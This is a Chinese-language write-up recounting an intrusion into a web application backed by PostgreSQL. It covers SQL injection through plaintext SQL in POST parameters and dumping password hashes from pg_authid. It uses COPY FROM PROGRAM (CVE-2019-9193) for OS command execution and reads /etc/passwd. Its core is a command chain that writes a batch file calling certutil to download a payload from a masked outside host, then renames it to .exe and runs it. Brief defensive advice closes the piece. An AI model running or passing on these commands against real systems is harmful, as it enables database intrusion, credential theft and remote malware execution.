记一次pgsql数据库漏洞利用
字数 988 2025-08-03 16:47:44
PostgreSQL数据库漏洞利用实战教学
0x01 前言
本教学文档将详细记录一次PostgreSQL数据库漏洞利用的全过程,重点分析技术细节和利用方法。PostgreSQL作为企业级开源数据库系统,在9.3及以上版本存在多个可利用漏洞。
0x02 注入点发现与确认
初始信息收集
- 使用nmap扫描目标端口,发现开放HTTP服务
- 访问Web应用,发现存在自动填充的账号密码可直接登录后台
SQL注入确认
- 抓包分析发现SQL语句明文出现在POST参数中
- 初步测试SQL注入:
select * from information_schema.SCHEMATA - 通过返回结果中的"postgres"字样确认数据库类型为PostgreSQL
数据库版本确认
- 使用以下查询获取PostgreSQL数据目录:
select setting from pg_settings where name = 'data_directory'; - 通过数据目录路径可推断系统版本和PostgreSQL版本
0x03 PostgreSQL漏洞利用技术
基础信息收集
- 获取当前数据库用户:
select user; - 查询用户密码(MD5加密):
SELECT rolname,rolpassword FROM pg_authid;
命令执行漏洞(CVE-2019-9193)
- 利用COPY FROM PROGRAM功能执行系统命令:
DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'whoami'; SELECT * FROM cmd_exec;
编码问题处理
- 发现中文回显导致的问题:
- 直接执行含中文输出的命令会导致PostgreSQL报错
- 尝试修改编码(chcp 65001)但效果有限
- 解决方案:
- 在每条命令前添加编码修改:
chcp 65001 & command
- 在每条命令前添加编码修改:
文件系统探测
- 使用dir命令探测目录结构:
COPY cmd_exec FROM PROGRAM 'dir c:\'; - 注意路径反斜杠转义问题:
- Windows路径中的反斜杠可能被当作转义字符过滤
- 可尝试使用正斜杠或双反斜杠
0x04 无回显命令执行技术
批处理脚本技术
- 创建无回显批处理脚本:
COPY cmd_exec FROM PROGRAM 'echo @echo off\ncertutil.exe -urlcache -split -f http://xx.xxx.xxxx/xxx.txt output.txt ^>null >test.bat'; - 关键点:
- 使用
@echo off隐藏命令执行 - 使用
>null重定向输出避免回显问题 - 注意特殊字符(如>)需要转义
- 使用
文件下载与执行
- 分步执行流程:
-- 生成bat文件 COPY cmd_exec FROM PROGRAM 'echo @echo off\ncertutil.exe -urlcache -split -f http://xx.xxx.xxxx/xxx.txt output.txt ^>null >test.bat'; -- 执行bat文件 COPY cmd_exec FROM PROGRAM '.\test.bat'; -- 重命名文件 COPY cmd_exec FROM PROGRAM 'ren output.txt output.exe'; -- 执行最终payload COPY cmd_exec FROM PROGRAM '.\output.exe';
0x05 注意事项与防御建议
攻击注意事项
- 中文系统编码问题可能导致命令执行失败
- 路径探测时注意权限限制
- 前后端分离架构可能需要调整攻击策略
防御建议
- 修复CVE-2019-9193漏洞:
- 升级PostgreSQL到最新版本
- 限制COPY FROM PROGRAM权限
- 防止SQL注入:
- 使用参数化查询
- 避免SQL语句明文传输
- 系统加固:
- 限制数据库用户权限
- 监控异常数据库操作
附录:常用PostgreSQL漏洞利用命令
- 列出数据库:
SELECT datname FROM pg_database; - 列出表:
SELECT table_name FROM information_schema.tables WHERE table_schema='public'; - 列出列:
SELECT column_name FROM information_schema.columns WHERE table_name='tablename'; - 文件读取(需超级用户权限):
CREATE TABLE temp(t text); COPY temp FROM '/etc/passwd'; SELECT * FROM temp;